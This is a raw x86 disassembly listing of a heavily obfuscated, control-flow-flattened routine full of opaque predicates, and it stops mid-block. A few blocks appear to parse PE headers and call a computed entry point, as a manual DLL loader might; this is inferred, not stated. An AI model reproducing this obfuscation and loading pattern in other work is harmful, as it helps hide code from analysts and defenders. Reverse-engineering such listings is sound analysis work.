cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x5dd394df
je 0x1010ce09
cmp eax, 0x5dde6735
jne 0x101077d9
mov eax, dword [esp + 0x54]
mov eax, 0x22ee5b47
jmp 0x101077d9
cmp eax, 0xcfee18d8
je 0x1010ce33
cmp eax, 0xd03f02a7
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2b798c52
mov ecx, 0xb1000abb
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x1a336328
je 0x1010ce5d
cmp eax, 0x1b1d992b
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2561d512
mov ecx, 0x628d9de7
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xb37df94d
je 0x1010ce87
cmp eax, 0xb3cc2054
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x89492f96
mov ecx, 0x724283b9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x7a16e70b
je 0x1010ceb1
cmp eax, 0x7a193f40
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7b9fd172
mov ecx, 0xc889f346
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xf25ec820
je 0x1010cebb
cmp eax, 0xf2df7e03
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe7098fb4
mov ecx, 0xccb580ed
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x4013e8b4
je 0x1010cec5
cmp eax, 0x40be0cfe
jne 0x101077d9
mov eax, 0xe2039075
jmp 0x101077d9
cmp eax, 0x856ec8b5
je 0x1010cecf
cmp eax, 0x86225a7a
jne 0x101077d9
mov eax, 0xb37df94d
jmp 0x101077d9
cmp eax, 0x499b7374
je 0x1010cef9
cmp eax, 0x4a1aff14
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7099baa
mov ecx, 0x9ca93557
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xc0d95fdb
je 0x1010cf23
cmp eax, 0xc11520b6
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x892568ab
mov ecx, 0xfbe0a4b6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x105b7f7
je 0x1010cf2d
cmp eax, 0x11b9405
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9975c6f7
mov ecx, 0x5587454a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x9dff7061
je 0x1010cf57
cmp eax, 0x9ef28c07
jne 0x101077d9
mov ecx, dword [esp + 4]
call fcn.1011e258
mov eax, dword [esp + 0x38]
mov eax, 0xe8577e70
jmp 0x101077d9
cmp eax, 0x658fa38c
je 0x1010cf85
cmp eax, 0x66c56eb9
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x873f774c
mov ecx, 0x142ca56
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xdbc8e833
je 0x1010cfaf
cmp eax, 0xdc3d0246
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x84d5cdac
mov ecx, 0x16b6e6c1
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2653a4cc
je 0x1010cfb9
cmp eax, 0x26895e5d
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe68eb578
mov ecx, 0x682c062a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x90efaca4
je 0x1010cfe3
cmp eax, 0x9101aa2a
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x997bb916
mov ecx, 0xf231dba1
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x5c6f2840
je 0x1010d00d
cmp eax, 0x5c7b669d
jne 0x101077d9
mov eax, 0x46675a3a
jmp 0x101077d9
cmp eax, 0xcd1fdbbb
je 0x1010d017
cmp eax, 0xcd2b2552
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc6453659
mov ecx, 0x9dff7061
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x172f2d4e
je 0x1010d021
cmp eax, 0x1739e735
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ef28c07
mov ecx, 0xe8577e70
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xabc53081
je 0x1010d04b
cmp eax, 0xac69ff5f
jne 0x101077d9
mov eax, 0xab8ec9b5
jmp 0x101077d9
cmp eax, 0x75d93c99
je 0x1010d075
cmp eax, 0x75eba3ae
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa828aaf3
mov ecx, 0x7020ef9f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xeb9c9406
je 0x1010d09f
cmp eax, 0xec6255a1
jne 0x101077d9
mov eax, dword [esp + 0x58]
push 0
push 1
push dword [esp + 8]
call eax
mov dword [esp + 0x5c], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9395a416
mov ecx, 0x3c3d9195
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x36f47716
je 0x1010d0c9
cmp eax, 0x380b8121
jne 0x101077d9
cmp byte [esp + 0x25], 0
mov eax, 0xc08b25ef
mov ecx, 0x70429d58
cmovne eax, ecx
jmp 0x101077d9
cmp eax, 0x8ac593e1
je 0x1010d0fb
cmp eax, 0x8b6221b4
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6f5e3d7c
mov ecx, 0x77e99b85
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x518b8c65
je 0x1010d105
cmp eax, 0x52580ee6
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x83d35ce5
mov ecx, 0xb5fb0402
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xc8e1e7f2
je 0x1010d12f
cmp eax, 0xc96c3f09
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2ca2a71f
mov ecx, 0x2653a4cc
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xd4a42ee
je 0x1010d159
cmp eax, 0xdde8093
jne 0x101077d9
mov eax, 0x4a1aff14
jmp 0x101077d9
cmp eax, 0xa6334a1e
je 0x1010d167
cmp eax, 0xa6479ec1
jne 0x101077d9
mov eax, dword [esp + 0x14]
add eax, 0x3c
mov dword [esp + 8], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d54af63
mov ecx, 0xba4022a6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x6edc09f5
je 0x1010d191
cmp eax, 0x6f5e3d7c
jne 0x101077d9
mov eax, dword [esp + 8]
mov eax, 0x77e99b85
jmp 0x101077d9
cmp eax, 0xe4484363
je 0x1010d1bb
cmp eax, 0xe56d696b
jne 0x101077d9
mov eax, dword [esp + 0x14]
movzx eax, word [eax]
mov dword [esp + 0x44], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf8d6cb5a
mov ecx, 0xb841c9c9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2bf24d6d
je 0x1010d1c9
cmp eax, 0x2ca2a71f
jne 0x101077d9
mov eax, 0xc96c3f09
jmp 0x101077d9
cmp eax, 0x97daa443
je 0x1010d1f3
cmp eax, 0x982f4d77
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9975c6f7
mov ecx, 0x4c58066b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x5fedf504
je 0x1010d21d
cmp eax, 0x60175717
jne 0x101077d9
mov eax, 0x518b8c65
jmp 0x101077d9
cmp eax, 0xd489061d
je 0x1010d247
cmp eax, 0xd4c136e1
jne 0x101077d9
mov eax, dword [esp + 0x14]
mov eax, 0x3798592
jmp 0x101077d9
cmp eax, 0x1fe48f50
je 0x1010d271
cmp eax, 0x20443cce
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9a6562a7
mov ecx, 0x87723cfc
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xb841c9c9
je 0x1010d27b
cmp eax, 0xb85c4318
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa7fbb322
mov ecx, 0xb9cc1039
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x7db03a15
je 0x1010d2a5
cmp eax, 0x7db54c70
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcb8a6894
mov ecx, 0x105a28ad
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xf8d6cb5a
je 0x1010d2cf
cmp eax, 0xf939af56
jne 0x101077d9
mov eax, 0x81220073
jmp 0x101077d9
cmp eax, 0x3c3d9195
je 0x1010d2dd
cmp eax, 0x3d47c557
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9a6562a7
mov ecx, 0x20443cce
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x84666223
je 0x1010d307
cmp eax, 0x848cf408
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9dce6c3b
mov ecx, 0xfa204374
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x46837b15
je 0x1010d319
cmp eax, 0x468f8ec7
jne 0x101077d9
mov eax, dword [esp + 0xc]
add eax, 0x18
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
add eax, 0x38
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x28]
add eax, 0x1c
mov dword [esp + 0x18], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8e03a457
mov ecx, 0x27a35631
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xbe936ac9
je 0x1010d323
cmp eax, 0xbea93eed
jne 0x101077d9
mov eax, 0xb2ae487
jmp 0x101077d9
cmp eax, 0xffbe2165
je 0x1010d34d
cmp eax, 0x4e6673
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8ac593e1
mov ecx, 0xb15b4a7d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x9c0ac4fd
je 0x1010d377
cmp eax, 0x9ca93557
jne 0x101077d9
mov eax, dword [esp + 0x84]
mov dword [esp + 0x14], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7099baa
mov ecx, 0x26895e5d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x64737139
je 0x1010d3a1
cmp eax, 0x64c91eb0
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe6b8c9d9
mov ecx, 0xbb923839
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xd833686e
je 0x1010d3cb
cmp eax, 0xda44b1ae
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x97daa443
mov ecx, 0x75eba3ae
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2480ed3b
je 0x1010d3d5
cmp eax, 0x24d098b1
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x64272501
mov ecx, 0xcaf0caa7
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x8f64b434
je 0x1010d3ff
cmp eax, 0x8f7e36e9
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x61434fa1
mov ecx, 0xbdddfcb3
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x58ce49eb
je 0x1010d409
cmp eax, 0x5aaf6911
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b3794e1
mov ecx, 0xeecb13d6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xcbc4bdc7
je 0x1010d413
cmp eax, 0xcc3c431a
jne 0x101077d9
mov eax, dword [esp + 8]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfc20cda9
mov ecx, 0xcd1fdbbb
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x15a7844a
je 0x1010d43d
cmp eax, 0x1675a575
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd7749c60
mov ecx, 0x3d5567fb
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa9d32be1
je 0x1010d447
cmp eax, 0xaa55e29f
jne 0x101077d9
mov eax, 0x340a1f97
jmp 0x101077d9
cmp eax, 0x735e24db
je 0x1010d471
cmp eax, 0x74aa7818
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa9c62fa5
mov ecx, 0xa6334a1e
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xe8dbe814
je 0x1010d4a5
cmp eax, 0xe962dd54
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x171564b1
mov ecx, 0x5ecb5b60
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x31b2b443
je 0x1010d4cf
cmp eax, 0x33c4bd0a
jne 0x101077d9
mov eax, dword [esp + 0x34]
mov dword [eax], 1
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x42665307
mov ecx, 0xcfee18d8
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x89cbf39f
je 0x1010d4d9
cmp eax, 0x8a16efd3
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xda8faf0c
mov ecx, 0x735e24db
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x50a3790c
je 0x1010d503
cmp eax, 0x50bd2fb3
jne 0x101077d9
mov eax, 0xc9925cba
jmp 0x101077d9
cmp eax, 0xc81bb8fc
je 0x1010d52d
cmp eax, 0xc889f346
jne 0x101077d9
cmp dword [esp + 0x5c], 0
setne byte [esp + 0x27]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7b9fd172
mov ecx, 0xc11520b6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa8b3cc2
je 0x1010d537
cmp eax, 0xb2ae487
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbea93eed
mov ecx, 0xda44b1ae
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa44438d4
je 0x1010d561
cmp eax, 0xa44fa530
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x64272501
mov ecx, 0x24d098b1
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x6b3e7b6b
je 0x1010d578
cmp eax, 0x6b4c59b0
jne 0x101077d9
mov eax, 0xa6334a1e
jmp 0x101077d9
cmp eax, 0xe2039075
je 0x1010d582
cmp eax, 0xe2395749
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4a42ee
mov ecx, 0xc9ad3560
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2ae04957
je 0x1010d5ac
cmp eax, 0x2afd10f0
jne 0x101077d9
cmp byte [esp + 0x21], 0
mov eax, 0xdc8d7e42
mov ecx, 0x89cbf39f
cmovne eax, ecx
jmp 0x101077d9
cmp eax, 0x96d0298f
je 0x1010d5b6
cmp eax, 0x97199a26
jne 0x101077d9
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x3c]
call fcn.10110e89
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa8b68f64
mov ecx, 0xa05f0e3f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x5e49447a
je 0x1010d5e0
cmp eax, 0x5e9d3431
jne 0x101077d9
mov eax, 0x5ecb5b60
jmp 0x101077d9
cmp eax, 0xd1cdecd8
je 0x1010d612
cmp eax, 0xd2b38270
jne 0x101077d9
mov eax, 0xa1e3d814
jmp 0x101077d9
cmp eax, 0x1dd1271b
je 0x1010d63c
cmp eax, 0x1e06ab7c
jne 0x101077d9
mov eax, dword [esp + 0x14]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd30eb01e
mov ecx, 0xdf11c97a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xb5fb0402
je 0x1010d646
cmp eax, 0xb7099baa
jne 0x101077d9
mov eax, 0x9ca93557
jmp 0x101077d9
cmp eax, 0x7b4686df
je 0x1010d650
cmp eax, 0x7b9fd172
jne 0x101077d9
mov eax, dword [esp + 0x5c]
mov eax, 0xc889f346
jmp 0x101077d9
cmp eax, 0xf5bbb1ef
je 0x1010d67a
cmp eax, 0xf663d92a
jne 0x101077d9
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x3c]
call fcn.10110e89
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x176dae03
mov ecx, 0xa8b3cc2
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x42de3c48
je 0x1010d6a4
cmp eax, 0x447b7d03
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x959c80cb
mov ecx, 0x982f4d77
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x8774dfd1
je 0x1010d6ce
cmp eax, 0x8850afc4
jne 0x101077d9
mov eax, 0xbb348374
jmp 0x101077d9
cmp eax, 0x4c58066b
je 0x1010d704
cmp eax, 0x4c8c4d5a
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd7ab207e
mov ecx, 0x30883557
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xc1b9984f
je 0x1010d72e
cmp eax, 0xc1bc6d1d
jne 0x101077d9
mov eax, 0x1fa30505
jmp 0x101077d9
cmp eax, 0x2b35504
je 0x1010d758
cmp eax, 0x3798592
jne 0x101077d9
mov eax, dword [esp + 0x14]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4c136e1
mov ecx, 0x851aa623
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa0ad4511
je 0x1010d782
cmp eax, 0xa14b336b
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x22af81c6
mov ecx, 0x78f51c77
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x688b7dbb
je 0x1010d7ac
cmp eax, 0x68e576ce
jne 0x101077d9
mov eax, 0x83bcdc68
jmp 0x101077d9
cmp eax, 0xdc96a3a7
je 0x1010d7d6
cmp eax, 0xde0905b9
jne 0x101077d9
mov eax, 0xa180dbdb
jmp 0x101077d9
cmp eax, 0x2830bb7f
je 0x1010d800
cmp eax, 0x287f08bd
jne 0x101077d9
mov eax, 0x252a4641
jmp 0x101077d9
cmp eax, 0x9395a416
je 0x1010d80a
cmp eax, 0x93c1f031
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3e1c7aa7
mov ecx, 0x1989ad56
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x5cdeea88
je 0x1010d822
cmp eax, 0x5d935dc0
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6a7dc9e5
mov ecx, 0x81192e97
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xce6f3726
je 0x1010d84c
cmp eax, 0xce7f7416
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x706da8bf
mov ecx, 0x2a8f8713
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x18058776
je 0x1010d876
cmp eax, 0x18851df8
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x50a15921
mov ecx, 0xcda01b61
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xb1000abb
je 0x1010d880
cmp eax, 0xb14108ae
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2ab9b7ef
mov ecx, 0x7a879cae
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x777dd641
je 0x1010d8aa
cmp eax, 0x77e99b85
jne 0x101077d9
mov eax, dword [esp + 8]
mov eax, dword [eax]
add eax, dword [esp + 0x84]
mov dword [esp + 0xc], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6f5e3d7c
mov ecx, 0x2cde8607
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xf1c06e0b
je 0x1010d8b8
cmp eax, 0xf231dba1
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x997bb916
mov ecx, 0xcd87e6d9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x3ac9e835
je 0x1010d8e2
cmp eax, 0x3b3794e1
jne 0x101077d9
mov eax, dword [esp + 0x40]
mov eax, dword [esp]
mov eax, 0xeecb13d6
jmp 0x101077d9
cmp eax, 0x8bb00622
je 0x1010d90c
cmp eax, 0x8c398b88
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa7be0eef
mov ecx, 0x9a6a3160
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x54dd40ac
je 0x1010d936
cmp eax, 0x5506565f
jne 0x101077d9
mov eax, 0x8e79c268
jmp 0x101077d9
cmp eax, 0xc9ad3560
je 0x1010d94d
cmp eax, 0xca02fa5e
jne 0x101077d9
mov eax, 0x36f47716
mov dword [esp + 0x30], 0
jmp 0x101077d9
cmp eax, 0xe6b46ab
je 0x1010d97b
cmp eax, 0x105a28ad
jne 0x101077d9
mov eax, 0x2dbf1d1e
jmp 0x101077d9
cmp eax, 0xa7d9a11d
je 0x1010d985
cmp eax, 0xa7fbb322
jne 0x101077d9
mov eax, 0xb85c4318
jmp 0x101077d9
cmp eax, 0x706da8bf
je 0x1010da29
cmp eax, 0x70d5c0d6
jne 0x101077d9
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x30], eax
mov eax, 0x36f47716
jmp 0x101077d9
cmp eax, 0xe6b8c9d9
je 0x1010da33
cmp eax, 0xe6db6db6
jne 0x101077d9
mov eax, 0x1739e735
jmp 0x101077d9
cmp eax, 0x2d30ebe5
je 0x1010da3d
cmp eax, 0x2dbf1d1e
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf25ec820
mov ecx, 0x13fa4f22
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x9975c6f7
je 0x1010da67
cmp eax, 0x997bb916
jne 0x101077d9
mov eax, 0xf231dba1
jmp 0x101077d9
cmp eax, 0x61da49c6
je 0x1010da91
cmp eax, 0x628d9de7
jne 0x101077d9
mov eax, 0xf7b05ad8
jmp 0x101077d9
cmp eax, 0xd6392cf6
je 0x1010dabb
cmp eax, 0xd6abdab3
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x920a8c9c
mov ecx, 0xe8dbe814
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x221c47e7
je 0x1010dac5
cmp eax, 0x2233ca75
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2b798c52
mov ecx, 0xb899826d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xb9cc1039
je 0x1010dacf
cmp eax, 0xba4022a6
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9a9ae038
mov ecx, 0x14415ddb
